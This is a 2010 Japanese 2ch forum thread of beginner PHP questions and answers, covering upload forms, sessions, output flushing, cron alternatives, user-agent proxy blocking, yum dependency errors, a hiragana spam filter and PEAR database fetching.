トップページ⇒php
1001コメント308KB

【PHP】下らねぇ質問はID出して書き込みやがれ 95

レス数が1000を超えています。これ以上書き込みはできません。
0001nobodyさん2010/04/19(月) 09:15:05ID:???
質問者はまず>>1を良く読むこと(必須!)
過去スレ、関連スレ、FAQなどは>>2-10辺り
次スレは>>980が立てる。10分以内に立たない場合、宣言してから立てたい人が立てること。

◆前スレ
【PHP】下らねぇ質問はID出して書き込みやがれ 94
http://pc11.2ch.net/test/read.cgi/php/1268835461/

◆質問用テンプレ
【OS名】CentOS
【PHPのバージョン】5.3
【連携ソフトウェア】MySQL ImageMagick
【質問内容】

◆質問する時の注意
・ スレを上げて自分のIDを表示させること。(メール欄に何も記述しない。専ブラのsageチェックを外す)
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に関連リンクの公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
(PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。)

◆質問後の注意
・2回目以降は最初に質問した際のレス番号を入れて、偽者防止に必ずIDを表示させること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。

【その他諸注意】
・SQL・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
0002nobodyさん2010/04/19(月) 09:16:08ID:???
■過去ログ
【PHP】下らねぇ質問はID出して書き込みやがれ 93
http://pc11.2ch.net/test/read.cgi/php/1266229386/
【PHP】下らねぇ質問はID出して書き込みやがれ 92
http://pc11.2ch.net/test/read.cgi/php/1263035502/
【PHP】下らねぇ質問はID出して書き込みやがれ 91
http://pc11.2ch.net/test/read.cgi/php/1260247989/
【PHP】下らねぇ質問はID出して書き込みやがれ 90
http://pc11.2ch.net/test/read.cgi/php/1258187482/
【PHP】下らねぇ質問はID出して書き込みやがれ 89
http://pc11.2ch.net/test/read.cgi/php/1255263534/
【PHP】下らねぇ質問はID出して書き込みやがれ 88
http://pc11.2ch.net/test/read.cgi/php/1253061577/
【PHP】下らねぇ質問はID出して書き込みやがれ 87
http://pc11.2ch.net/test/read.cgi/php/1251447028/
【PHP】下らねぇ質問はID出して書き込みやがれ 86
http://pc11.2ch.net/test/read.cgi/php/1249042741/
【PHP】下らねぇ質問はID出して書き込みやがれ 85
http://pc11.2ch.net/test/read.cgi/php/1245074032/
【PHP】下らねぇ質問はID出して書き込みやがれ 84
http://pc11.2ch.net/test/read.cgi/php/1240835951/
【PHP】下らねぇ質問はID出して書き込みやがれ 83
http://pc11.2ch.net/test/read.cgi/php/1238958898/
0003nobodyさん2010/04/19(月) 09:16:50ID:???
関連リンク
■本家マニュアル   http://www.php.net/manual/ja/
■日本PHPユーザ会 http://www.php.gr.jp/
■PEARマニュアル  http://pear.php.net/manual/ja/
■メーリングリスト   http://ns1.php.gr.jp/mailman/listinfo/
■ZFマニュアル    http://framework.zend.com/manual/ja/
■Smartyマニュアル  http://www.smarty.net/manual/ja/

(以下英語)
■Zend本家      http://www.zend.com/
■Zend Framework  http://framework.zend.com/
■php | architect   http://www.phparch.com/
■Smarty       http://www.smarty.net
■Smartyマニュアル http://smarty.php.net/manual/en/
■PECL本家(英語) http://pecl.php.net/
0004nobodyさん2010/04/19(月) 09:17:30ID:???
【簡易FAQ】
1.文字コードは何を使えばいいの?
 →1.UTF-8 2.EUC-JP のどちらか。迷うようなやつはShift_JISは使っちゃダメ。
2. このスレに書き込むときに自分のサイト名を晒したくない
 → http://example.com/が例文などのために予約されている。hogehoge.comは使っちゃダメ。
3. ブラウザに何も表示されないんだけど・・・
 → Apacheの設定を見直せ。ファイルの拡張子は何にしてて、その拡張子でPHPを呼ぶようになっているか?
4. 記号の意味がわからないけどググりようがない
 → 「@」 エラー表示を抑制、「->」 オブジェクトのメンバにアクセス、「::」 静的なメソッド呼び出し、
  「==」は暗黙の型変換をしてゆるい比較、「===」は型情報も含めた厳密な比較
5. echo "$arr['hoge']['fuga']"; と書いたらエラーになった
 → {おっぱい括弧}でくくって"{$arr['hoge']['fuga']}"にする
6. 一定時間ごとに自動的に何かしたいんだけど
 → cronかタスクスケジューラを使え。
7.extractって危険なの?
 →変数上書き&初期化忘れなどで危険。楽だからという理由だけで安易に使わない。
8. include/requireに「〜.php?a=b&c=d」のようなパラメータをつけたい
 → URL呼び出しなら可能だけど、普通のファイル呼び出しではできません
9.include/requireでURLを指定しても何も起きない
 → .phpの拡張子のファイルをURLで呼び出すと、1度PHPプログラムとして実行された結果になる。
0005nobodyさん2010/04/19(月) 09:18:12ID:???
10. そもそもインストールの時点でうまくいかない
 → 確認すべきはPHPのconfigureの引数、php.iniの内容と置き場所、
  Webサーバの設定(Apacheならhttpd.conf)、起動&再起動あたり
11. SQLの質問はどこで?
 → データベース板に誘導されるのが嫌ならPHPにうまく関連させて質問する
12. 文字列のなかに、英字のみとか数字のみとか記号が入っちゃいやんとかはどうしたらいいの?
 → ctype_〜()が手軽。複雑なパターンはpreg_〜()あたりで正規表現を使う。
13. $a1, $a2, $a3 ... のような変数名をうまく扱いたい
 → 可変変数で実現できるけど、むしろ配列を使って$a[1], $a[2], $a[3]等とするのがベター
14. echoとprintってどう違うの?
 → よく議論される話題であるが基本的に両者とも同じ。 以下ちょっとした議論。
  http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40
15. クッキーの情報をユーザから隠したい
 → セッション使え。ただしクッキーとセッションは仕組みが違うから同じように扱うな
16. strip_tags()で削除しないタグを複数指定したい
 → strip_tags($html, '<a><p><font>'); // htmlspecialchars()も検討すべし
17. CSVやTSVのファイルをスマートに扱いたい
 → まずはfgetcsv()。ただし日本語を含むと正常に動作しない場合があるので注意だ。
18. 値渡しと参照渡し(「&」を使う)のパフォーマンスの違い
 → C言語じゃないので、パフォーマンス目的で使いわけたらダメ。参照渡しにすると逆に遅くなったりする
  参照渡しは引数に戻り値を設定したり引数を関数内で変更するなど、正しい目的に使うこと
19. ファイル入出力関数(fopen等)でリモートファイル(http://〜とか)を扱う際の限界
 → fsockopen()でソケット通信 or PEARのHTTP系 or CURLで解決
  必要ならHTTPをはじめとする各種プロトコル(どんなデータを送受信するか)はRFCなどで調べる
20. PHPからPOSTリクエストしたい
 →19.を参照
21. 画像処理一般 or GDの限界
 → ImageMagick(PECLのやつ or シェルから実行)
22. 画像・音・動画はファイルで保存?DBに保存?
 → 好きにしてください
0006nobodyさん2010/04/19(月) 12:02:58ID:9m1Cq7Fw
複数アップロードの処理に関してなのですが、
こちらのようにアップファイル毎にcom[]・pass[]を付けるとlog処理もうまくいくのですが、
-----------------ここから-------------------------
<INPUT TYPE="file" SIZE="30" name="upfile[]">
コメント<input type="text" size="30" name="com[]" class="box" /> 
パス:<INPUT TYPE="text" SIZE="8" name="pass[]" maxlength="10" ><br>
<INPUT TYPE="file" SIZE="30" name="upfile[]">
コメント<input type="text" size="30" name="com[]" class="box" /> 
パス:<INPUT TYPE="text" SIZE="8" name="pass[]" maxlength="10" ><br>
------------------ここまで------------------------

このようにcom[]・pass[]を別枠にするとうまく処理できません。
-----------------ここから-------------------------
コメント<input type="text" size="30" name="com[]" class="box" /> 
パス:<INPUT TYPE="text" SIZE="8" name="pass[]" maxlength="10" ><br>
<INPUT TYPE="file" SIZE="30" name="upfile[]"> <br>
<INPUT TYPE="file" SIZE="30" name="upfile[]"> <br>
------------------ここまで------------------------
複数のファイルを一つのcom[]・pass[]を適用させたいのですが、どうすればいいでしょうか?
0007nobodyさん2010/04/19(月) 14:18:06ID:???
渡される値の順番が違うだけで中身は同じなんでしょ?
htmlはただのUIだからそのソース自体は問題ないんじゃね
UIコンポーネント(input)を並び変えただけで問題が起こるとしたら
アプリケーション側の実装方法に問題があるんじゃね?
つまりそのhtmlだけ出されてもアドバイスはできない
0008nobodyさん2010/04/19(月) 14:37:03ID:9m1Cq7Fw
PHPでの表示部分なので関数は使えます。
この部分での解決方法はないでしょうか?
0009nobodyさん2010/04/19(月) 15:12:43ID:???
<form>〜</form>タグを正しく書け
0010nobodyさん2010/04/19(月) 15:18:03ID:???
>>8
>>7に同意。それに「うまく処理できない」じゃ何が起きてるか他人にはわからん。

ただこれはぼんやりとした推測なんだけど、
前者はcom[]・pass[]が2つあるからphpは配列として受け取っていて、
後者は1つだから文字列で受け取ってる。
php側で配列で受け取るつもりでコーディングしてるからうまくいかんのでは?
0011nobodyさん2010/04/19(月) 16:13:05ID:???
>>6
$_POST["com"][1] = $_POST["com"][0];
$_POST["pass"][1] = $_POST["pass"][0];
0012nobodyさん2010/04/20(火) 11:03:20ID:CFslFB3C
質問です。

Notice: session_start() [function.session-start]: ps_files_cleanup_dir: opendir(※セッションファイルパス※) failed: No error (0)

ってエラーが出て、maxlifetimeになってもセッションファイルが削除されません・・・
そもそもps_files_cleanup_dirってなんなんでしょう?
クリーンアップ(削除)しようとしたけどファイルが開けなかったってことなんでしょうか・・・
誰か助けて・・・
0013nobodyさん2010/04/20(火) 11:07:35ID:???
>>12
なんじゃろか
パーミッションとかそんなんかな
phpinfo()でセッションのディレクトリを確認して、パーミッション確認したり、一回中身手動で消してみたり

ただのNoticeみたいだけど、一応セッション自体は機能するの?
0014nobodyさん2010/04/20(火) 14:26:13ID:HgchgPq4
みなさんこんにちは
10個の配列からランダムに一つ表示させたいのですが
↓こんな感じで書いたのですがダメでした

$rss = fetch_rss($url);
$rss->items = array_slice($rss->items, 0, 10);
foreach ((array)$rss->items as $item) {
$title = $item['title'];
$title = mb_convert_encoding($title, "UTF-8", "auto");
$key = array_rand($title,1);
echo $title[$key];
}

ヘルプお願いします
0015nobodyさん2010/04/20(火) 14:43:10ID:???
いつも通り試してないけど

$rss = fetch_rss($url);
$rss->items = array_slice($rss->items, 0, 10);

$key = array_rand($rss->items, 1);
$item = $rss->items[$key];

$title = $item['title'];
$title = mb_convert_encoding($title, "UTF-8", "auto");
echo $title;
0016nobodyさん2010/04/20(火) 14:57:13ID:HgchgPq4
>>15
ありがとうございます
無事動きました
0017nobodyさん2010/04/20(火) 15:06:37ID:rBsVQVN1
質問です。
定義するクラス名を動的に宣言する方法はないでしょうか?
イメージ的には

$class_name = "test";

class $class_name
{
省略
}
$c = new $class_name();

こんな感じです。
newのところに変数が使えるのは確認したのですが、定義部に変数を使う方法は今のところ見つけられていません。
無理でしょうか?
可能ならば表記法が知りたいです。よろしくお願いします。
0018nobodyさん2010/04/20(火) 15:19:06ID:???
>>17
eval使うしかないかも

$class_name = "Test";

eval("
class $class_name
{
  function foo()
  {
    echo 'bar';
  }
}
");


$c = new $class_name();
$c->foo();
0019nobodyさん2010/04/20(火) 16:07:26ID:m2F+Aonc
海外から拾ってきたプログラム中に、substr関数周辺で文字化けが発生してます。
mb_substrを使えばいいのですが、substr関数が大量に使われます
既存の定義関数と同一名の ユーザー定義関数って作成可能でしょうか?

function substr(・・
 if (extension_loaded('mbstring') && function_exists('mb_substr')) {
   mb_substr関数で処理
 }else{
 substr関数で処理
 }
 ・・・・
としたいのですが、
0020nobodyさん2010/04/20(火) 16:45:13ID:???
可能です。
0021nobodyさん2010/04/20(火) 17:11:56ID:???
Cannot redeclare ..

>>20 氏ネ! カスやろう
0022nobodyさん2010/04/20(火) 17:13:41ID:???
>>19
http://www.php.net/manual/ja/mbstring.overload.php
0023nobodyさん2010/04/20(火) 17:47:47ID:???
>>21
http://www.php.net/manual/ja/function.override-function.php
0024nobodyさん2010/04/20(火) 18:13:19ID:???
simplexmlで<html><body>aaaa<bold>bbbb</bold>cccc</body></html>としたときに、
aaaabbbbccccって取り出すのはどうしたらできますか?
0025nobodyさん2010/04/20(火) 18:26:48ID:???
>>24
XMLとして間違ってるからできなさそう

本当にその通りの内容だったら
strip_tags()で行けると思うよ
0026nobodyさん2010/04/20(火) 18:33:28ID:???
>>25
ありがとう!
とりあえずやってみます。
0027nobodyさん2010/04/20(火) 20:32:22ID:???
PHPでシリアル通信を行いたいのですが、
PHP Serial(ttp://www.phpclasses.org/browse/package/3679.html)って使ったことある人いますか?

使い勝手を教えて欲しいのですが・・・
さすがにPHPでシリアル通信なんてあんまりないですよね
0028nobodyさん2010/04/21(水) 02:06:36ID:HdVhffia
<?php

// 現在の時刻
echo "10秒後に答えを表示→";

// 10 秒間遅延させる
sleep(10);

// 再開!
echo "答え●●●";

?>

上記だと、ブラウザを開いてから10秒後に同時に「10秒後に答えを表示→答え●●●」と表示されますが、
これをブラウザが開いた時に「10秒後に答えを表示→」その10秒後に「答え●●●」が加わって「10秒後に答えを表示→答え●●●」
と表示するようにするには、どのようにしたらよいでしょうか?
0029nobodyさん2010/04/21(水) 03:24:10ID:???
>>27
データのシリアル化なら標準装備してるが
0030nobodyさん2010/04/21(水) 03:27:34ID:???
ちがうか。物理的な転送形式は、モデムなどが勝手に分解、構築するから
PHPが考慮する必要がない。
シリアルATAとパラレルIDEのHDDアクセスでソースコードの変更はいらない。
0031nobodyさん2010/04/21(水) 03:29:08ID:???
>>28
それ自分も思った。全部の処理が終わってから表示するんだよなあ。
0032nobodyさん2010/04/21(水) 10:02:01ID:???
>>27
そこのはWindowsで読み取りが出来ない古い版
http://code.google.com/p/php-serial/

>>28
クライアントサイドの話
JavaScript 非同期通信 でググる
0033nobodyさん2010/04/21(水) 10:07:11ID:???
このへんに書いてあったけど。
しかしJscript切っている場合にはどうすればいいんだ

http://itpro.nikkeibp.co.jp/article/COLUMN/20070613/274683/
0034nobodyさん2010/04/21(水) 10:09:35ID:???
>>32
いやサーバーサイドでは?
<?php ?>の範囲内が一括で送信されるせいでは。
<?php ?>を複数にしてちょくちょく送信していけばHTMLを順次表示できそうだ。
0035nobodyさん2010/04/21(水) 11:16:25ID:???
>>28
for($i=0;$i<256;$i++){
echo " ";
}

// 現在の時刻
echo "10秒後に答えを表示→";
@ob_flush();
@flush();

// 10 秒間遅延させる
sleep(10);

// 再開!
echo "答え●●●";
0036nobodyさん2010/04/21(水) 13:51:11ID:???
知識として知っておいた方がいいけど、長い時間になったらtimeoutで切れるから実際に実装されると困るな
javascriptで定期的にphp叩いた方がいい
0037nobodyさん2010/04/21(水) 14:30:41ID:???
ってかドキュメントとして不備がある状態のHTMLをレンダリングするかどうかはクライアント依存じゃないの?
そんなんで途中まで出ることを期待するのは本質的に誤りだと思うよ。
0038nobodyさん2010/04/21(水) 14:41:42ID:???
では待ちのあるPHPをうまく動かす方法は無いって事か。
ブラウザ次第で動作変わるか。
0039nobodyさん2010/04/21(水) 15:47:10ID:XUNO23gO
cronを使えないサーバーでphpを定期的に実行する方法ってありますか?
0040nobodyさん2010/04/21(水) 15:51:53ID:???
>>38
だからJavaScriptでの非同期通信がでてくるんじゃん。
非表示状態で出力して、10秒後に表示する方法もあるけど、
HTMLソース見られたら答え見えちゃうので用途によってはアウト。

>>39
環境
0041nobodyさん2010/04/21(水) 15:53:37ID:???
jQueryを使う
0042nobodyさん2010/04/21(水) 16:40:51ID:XUNO23gO
>>40
CeentOS5.3
PHP:5.1.6
crontabを使ったりという事は権限上出来ません。
初心者なもので他に必要な情報あれば言っていただければ出します。
0043nobodyさん2010/04/21(水) 17:15:35ID:???
永久ループしておいて時間が来たら処理すればいいんじゃない
0044sage2010/04/21(水) 17:17:57ID:???
無限ループってmax_execution_timeでだいたい止められるでしょ
0045nobodyさん2010/04/21(水) 17:20:48ID:???
ページを表示してるところに処理を入れ込めばいいじゃん。
前実行した時間記録しといて何分以上経過してたらとか。
0046nobodyさん2010/04/21(水) 17:21:25ID:???
へー
0047nobodyさん2010/04/21(水) 17:22:20ID:???
外部からリクエストすればいーね
0048nobodyさん2010/04/21(水) 17:42:11ID:???
>>42
crontabは、一般ユーザ権限で使えるはずだが…

でもまあ使えないとして、
その処理を呼び出すURLを別PC(自分のPC)から呼び出す。
(別PCで定期実行プログラムを動かしておく)
0049nobodyさん2010/04/21(水) 18:52:23ID:???
>>42
cron使えないのか。
使えたら対応できるってことはCLIとして使おうとしてるんだよね。
Cとかで適当に書いてphp動かすほうが素直かもね。
0050nobodyさん2010/04/21(水) 19:42:17ID:???
>>42
cron使えないってのはレンタルサーバだから?
デーモン動かしておいてそいつがcronの役目してくれるってのがいいと思うけど、
レンタルサーバだと結局killされるから環境が知りたい
0051nobodyさん2010/04/21(水) 23:43:46ID:???
RSS巡回サービスに登録するってのが普通じゃね
0052nobodyさん2010/04/22(木) 00:01:08ID:6dwFVjdn
ereg_replaceで$を削りたいんですがうまくいきません
ereg_replace("$","",$test)
$を\$とかにしてみてもダメでした。何か指定方法が違ってますでしょうか?
0053nobodyさん2010/04/22(木) 00:18:22ID:???
>>52
str_replace
0054nobodyさん2010/04/22(木) 00:19:39ID:???
>>52
ereg_replace("\\$", "", $text);
だけど正解は>>53
0055nobodyさん2010/04/22(木) 02:13:13ID:???
正解は越後製菓
0056nobodyさん2010/04/22(木) 13:10:54ID:T+M4wIvS
/var/spool/cron/rootを編集して登録したり削除したりしてるんだが
さすがに直編集は怖いのでincludeとかしてinclude先のファイルをいじるようにしたいと思ってます。
cronの設定ファイルに外部のファイルをincludeしたりする事は出来ますか?
0057nobodyさん2010/04/22(木) 13:19:15ID:???
>>56
すまんな、ここはPHPスレなんだ
0058nobodyさん2010/04/22(木) 13:26:35ID:???
includeがどうとかじゃなくて普通はcrontab -eを使う
0059nobodyさん2010/04/22(木) 13:29:55ID:???
>>58
すまんな、ここはPHPスレなんだ
0060nobodyさん2010/04/22(木) 15:07:33ID:???
これは質問者がうまくphpに絡められなかったのが問題だな。
その結果>>57>>59とPHPスレ住人が申し訳ない気持ちになってしまっている。
0061nobodyさん2010/04/22(木) 18:15:35ID:4sRjBenv
appspot.com(google app engine)を使った串のみを弾きたい(他は弾かない)のですがどうしても弾けません。
IP制限は広範囲にあるので不可です。
UAも無理でした。
gethostbyaddrも帰って来ません。
phpで弾きたいのですが何か良い方法はないでしょうか?
弾きたい理由はミラーサイトのように見えるからです。

参考プロクシ sayno2filter
ttp://www.google.com/search?hl=ja&q=+site:sayno2filter.appspot.com+sayno2filter.appspot.com
価格.comモバイルもなんだか気持ち悪いです。
0062nobodyさん2010/04/22(木) 18:40:46ID:Ret1+4zT
携帯サイトを作成しており、

header('Location: ./index.php#test');
exit;

と記述しております。

index.php内には

<a id="test" name="test">○○○○○</a>

と言う箇所があり、PCからアクセスすると、正常にページ内リンクの箇所へリダイレクトされます。

が、docomoからアクセスすると、ロケーション先の#以降が切り取られてしまいます。
飛んだ先のURLを表示すると
http://example.com/index.php
と表示されており、綺麗に#以降だけなくなります。

<a href="./index.php#test">リンク</a>
だと問題なく飛ばすことが出来ます。

docomoの場合、headerのロケーションでページ内リンクを指定して飛ばすのは無理なのでしょうか?

掲示板書き込み後に、自分の書いた記事(ページの一番下)を表示させたいのですが…
0063nobodyさん2010/04/22(木) 18:57:19ID:???
>>62
無理そうや
0064nobodyさん2010/04/22(木) 19:01:46ID:???
リクエストされたURIみるのではだめなの?
0065nobodyさん2010/04/22(木) 19:02:49ID:???
あ、>>64は>>61に。
0066nobodyさん2010/04/23(金) 00:03:06ID:QeXW5bBg
centOS5.3とphp5.2.6を使っています

phpでプログラム動かしていたら以下のエラーが出ました。
 PHP Fatal error: Class 'DOMDocument' not found in /usr/lib/php/Zend/Service/Amazon.php on line 128
調べたらこれはphp-xmlがないことが原因だそうで、yum install php-xml しないといけないようです
(ttp://www.4web8.com/216.html)

が、上記コマンドを実行したらそこでもエラーが出ます。

 --> Finished Dependency Resolution
 php-xml-5.1.6-24.el5_4.5.i386 from updates has depsolving problems
 --> Missing Dependency: php-common = 5.1.6-24.el5_4.5 is needed by package php-xml-5.1.6-24.el5_4.5.i386 (updates)
 Error: Missing Dependency: php-common = 5.1.6-24.el5_4.5 is needed by package php-xml-5.1.6-24.el5_4.5.i386 (updates)
 You could try using --skip-broken to work around the problem
 You could try running: package-cleanup --problems
    package-cleanup --dupes
    rpm -Va --nofiles --nodigest
 The program package-cleanup is found in the yum-utils package.

これはどうしたら良いんでしょうか? どういうことでしょう?
もしかしたらlinux板で聞く問題なのかと思いましたがPHPの話題なのでここでお願いしました。
自分はphpのプログラムは書きますが(趣味程度で)linuxの構成などはわかりません。
すみませんが、どういう状況なのかと対策を意見貰えると嬉しいです。よろしくお願いします。
0067nobodyさん2010/04/23(金) 00:11:23ID:PsFOuB9x
>>66
http://kajuhome.com/index_05.shtml
0068662010/04/23(金) 01:00:29ID:???
>>67
ありがとう。

あー、すみません。いろいろググって調べたら解決しました。
ttp://eru-net.jp/web/?itemid=356 を参考にしたんですが、
結果的にうまくいったものの自分が何をしたのか全然わかってません。
プログラマってlinuxの機能やファイルの働きを熟知してるんですか?
こんなの覚えられるの?って感じです

みなさん、本読んだ程度で実務レベルの知識身に付きましたか?
今回の僕みたいに他人のサイト参考にして、でも中身の理解はイマイチって
「ありがち」なことなんでしょうか…
変なこと聞いてすみません、なんか気が滅入ってます
0069612010/04/23(金) 01:27:57ID:???
>>64
解決しました。
GoogleAppEngineからは必ずAppEngine-GoogleとUAに付くそうです。
偽装出来るとばかり思ってました。
しかし、こんなのもこれからgoogleお墨付きで公然とどんどん増えていくのでしょうか。。
ttp://q.hatena.ne.jp/1249449506
0070nobodyさん2010/04/23(金) 01:31:11ID:???
リポジトリを追加してないならそんなことにはならないと思うんだけどなぁ。
最近は仮想化が楽なんだからいろいろやって壊して勉強するのもいいと思うよ
0071nobodyさん2010/04/23(金) 01:34:04ID:???
>>69
なぜ弾こうと思ったか、その動機によっては対応方法が変わってくると思うけどね
0072612010/04/23(金) 01:56:15ID:???
>>71
動機は61に書いた通りです。
よければ他に対応方法があれば教えてください。
0073nobodyさん2010/04/23(金) 08:00:07ID:???
意味が分からない
串経由してでもお前の記事が読みたい人がいるんだろ、実害が出てるわけでもないのにアクセス拒否するのか
0074622010/04/23(金) 10:09:01ID:voMFNEl/
>>63
やっぱdocomoの仕様なのですね…
諦めます。。
0075nobodyさん2010/04/23(金) 10:11:47ID:7DtYSEYe
「昨日のタイムスタンプ」を取得する為に以下のようにしています。

$yesterday = date(("Y-m-d"),strtotime("-1 day"));
echo strtotime($yesterday);

これ以外で簡単な書き方はないでしょうか?
0076nobodyさん2010/04/23(金) 10:40:44ID:???
現在時刻の24時間前なら
echo time() - 3600*24;

0時のだったら
echo mktime(0, 0, 0, date("n"), date("j")-1, date("Y"));
0077nobodyさん2010/04/23(金) 15:19:56ID:???
>>72
動機が書かれているようには見えないよ
動機によっては弾く必要がない、という展開もありえるんだよ
0078nobodyさん2010/04/23(金) 15:23:15ID:???
そんなことは関係ない
0079612010/04/23(金) 18:03:50ID:???
結局UAで判別してGoogleAppEngineからのProxyは正規のURL○○からアクセスしてくださいとコメントを出すことにしました。
私的には実害はおそらくありませんが>>69のリンク先にあるように、ミラーに見せかけアマゾンのidを変える人もいるので困る人もいるかと思う。
他の串ならipやらでなんとかなりそうですが、googleの無料サーバのipは無数にあり可変なので少し戸惑いました。
PHPとは関係なくなったので終わりにします。
0080622010/04/23(金) 18:35:15ID:voMFNEl/
返り値を返さない関数や、クラスメソッドって作成しないほうがよいでしょうか?

function example () {
setcookieとか
}

example();

関数内の処理が正常に実行できた、できない、で特に影響を受けないようなものです。

使わないにしても、真偽値くらいは返したほうがよいでしょうか?
0081nobodyさん2010/04/23(金) 18:44:40ID:???
エラー処理が必要になるなら返せばいいんじゃね
0082802010/04/23(金) 18:49:00ID:voMFNEl/
>>81
エラー処理は必要ありません。

ただ、実行して返り値の無いのが少し気持ち悪いような気がして。
関数の場合はいいのですが、クラスのメソッドだと特に…

0083nobodyさん2010/04/23(金) 18:59:57ID:???
クラスのメソッドっていうのはクラスメソッド(staticメソッド)のことだよね?
メソッド内で解決できるならvoidでいいんじゃね
0084802010/04/23(金) 19:03:31ID:voMFNEl/
>>83

static private function test() {
self::$comment = str_replace("\t", '', self::$comment);
}

self::$test();

のようなものです。

その一言を聞いて安心しました。
ありがとうございます。
0085802010/04/23(金) 19:06:11ID:voMFNEl/
self::$test();
じゃなくて
self::test();
0086nobodyさん2010/04/23(金) 20:03:37ID:???
phpで制作したメールフォームの、内容確認画面で文字化けしてしまいます。
(mb_convert_encoding($sbj,"JIS","SHIFT_JIS"))が悪いのでしょうか?
ド素人の質問で申し訳ないのですが、よろしくおねがいします。
0087nobodyさん2010/04/23(金) 20:09:37ID:???
mb_convert_encodingでググれ
0088nobodyさん2010/04/23(金) 20:16:01ID:???
>>87
元にしたPHPは問題ないのに、コピーしただけで文字化けするんですよね。
とりあえずググッてみます。
ありがとうございます。
0089nobodyさん2010/04/23(金) 20:25:46ID:???
ファイルのエンコードとか
php.iniの内容とか
0090nobodyさん2010/04/24(土) 09:15:02ID:y1kxa+it
【OS名】Windows
【PHPのバージョン】5
【連携ソフトウェア】MySQL
【質問内容】
掲示板のPHPスクリプトを作ったのですが、英語のスパム投稿が増えて来たので、
次の様に日本語(ひらがな)以外の文字だけで書き込まれると
エラーを出して書き込めない様にしました。

$content = htmlspecialchars($_POST["content"]);
if(!mb_ereg('[あ-ん]',$content)){
echo "ひらがなを含む様にしてください。";exit;
}

一応自分でも英語のみ投稿で確認してみてエラー表示を確認。
ところが、しばらく経ったある日掲示板を見てみると、また何故か英語だけで書き込まれている様です。
上の文おかしいのでしょうか?
一応スパムと同じ文章をコピペして書き込みしてみた所、エラーは出ているんですが…。
0091nobodyさん2010/04/24(土) 09:50:50ID:???
eregは使うな ってうちのじっちゃが言ってた
内部エンコーディングとスクリプトの文字コードが違ってない?
0092nobodyさん2010/04/24(土) 09:50:50ID:???
if( preg_match('/^[\x00-\xff]+$/',"Hello world") ){
    echo "Hello spam !";
    exit;
}
英語だけなら
0093nobodyさん2010/04/24(土) 10:35:17ID:???
それは空文字以外すべてにマッチしそうだな
0094nobodyさん2010/04/24(土) 10:44:13ID:GsQLjQv0
カンマで区切った文字列を代入した変数があって
これを配列型に変換したいんですが

(array)$hogeでキャスティングすると
すべての文字列がそのまんまキー[0]に格納されるんですけど
カンマ区切りごとにキーを作ることってできませんか
0095nobodyさん2010/04/24(土) 10:57:42ID:M8KLPj0Z
正規表現で、発見した位置も知りたいのですが
どうすればいいですか?
0096nobodyさん2010/04/24(土) 11:23:13ID:???
>>94
$arr = explode(",", $str);
print_r($arr);
$arr = array_flip($arr);
print_r($arr);

>>95
正規表現でマッチした結果をstrposで再チェックかな
0097nobodyさん2010/04/24(土) 11:41:12ID:GsQLjQv0
>>96
見事にできました。勉強になります。
ありがとうございました。
0098nobodyさん2010/04/24(土) 15:10:54ID:???
Pearで SELECT クエリを投げた後に、
次のコードを実行したところ
�@では正常に値が取得出来るのですが�Aでは値が取得されません。

Pearを使用しデータ取得を行った場合には、
項目をインデックス番号で指定するしか無いのでしょうか?
※番号で指定すると見辛いので何とか取得項目の名称で指定したいです。


$sql = "SELECT TEST,NAME FROM TEST_TABLE";
$result = $db->query($sql);
while($row = $result->fetchRow())
{
  print( "取得した本文:".$row[0]);          // ←�@
  print( "取得した本文:".$row['TEST']);     // ←�A
}
0099nobodyさん2010/04/24(土) 15:14:26ID:???
>>98
fetchRow(DB_FETCHMODE_ASSOC);

とりあえず
DB_FETCHMODE_ASSOC
で検索してみてくれ
0100nobodyさん2010/04/24(土) 15:16:11ID:???
>>99
出来ました!!ありがとうございます!!
0101nobodyさん2010/04/24(土) 15:18:36ID:4j2vSUEE
【OS名】WindowsXP SP3
【PHPのバージョン】5.3.1
【連携ソフトウェア】XAMPP for Windows 1.7.3
【質問内容】
セッションの有効期限についての質問です
セッションを一定時間後にサーバーから破棄したいと思います

以下のように記述し、ブラウザからファイルを閲覧しているのですが
1秒以上経ってページを更新しても、数値が「1」に戻らずカウントアップされていきます
期待通りの動作をさせるにはどうすれば良いのでしょうか


<?php
ini_set('session.gc_probability', 1);
ini_set('session.gc_divisor', 1);
ini_set('session.gc_maxlifetime', 1);

session_start();
if(!$_SESSION['hogehoge']){$_SESSION['hogehoge'] = 1;}
else{$_SESSION['hogehoge']++;}
$hogehoge = $_SESSION['hogehoge'];
session_write_close();

header('Mime-Version: 1.0');
header('Content-Type: text/plain; charset=UTF-8');
echo $hogehoge;
?>
0102nobodyさん2010/04/24(土) 15:53:59ID:???
>>101
同じくWindowsでちょっと試してみた
原因はわからんが、アクセス元のセッションはGC対象にならない模様
2つのブラウザで試すと確認できると思う。

あとでubuntuでも試してみるわ
01031012010/04/24(土) 16:08:24ID:???
>>102
有り難う御座います
仕様もしくはバグなのですね
他の方法でセッション管理してみることにします
01041012010/04/24(土) 18:30:08ID:4j2vSUEE
すみません、IDを表示し忘れていました
セッションファイルの更新日時を取得し、unlink()で削除することで一応解決しました
0105nobodyさん2010/04/24(土) 20:34:30ID:???
PHPのPearフレームワークについて詳しい人にご質問なのですが、

SQL インジェクション対策として下手にエスケープシーケンスなんかを

やる位ならPearを使用しプレースホルダー経由でDBにアクセスをする様にした方が

簡単で安全なのでしょうか?

また、Pearフレームワークの驚きの機能、便利な機能等があればお教え下さい。
0106nobodyさん2010/04/25(日) 00:11:45ID:???
コーディング規約はZendのやつが一番使われてるんですかね?

メソッドの命名規則が小文字スタートのキャメルケースになってますが、PHPのビルトインは全部小文字のハイフン繋ぎですよね
これってどうなんでしょう?
0107nobodyさん2010/04/25(日) 00:14:29ID:3mxj5rK2
文字列からstr_replaceを使って#を取り除きたい場合
どうすれば良いですか?
$str = str_replace("#", "", $str);
これだと出来ませんが
0108nobodyさん2010/04/25(日) 00:21:02ID:3mxj5rK2
あ出来ました
html#だと出来きなかったんですが出来ないと思い込んだのですが
単体だと出来ました
なんでだ?
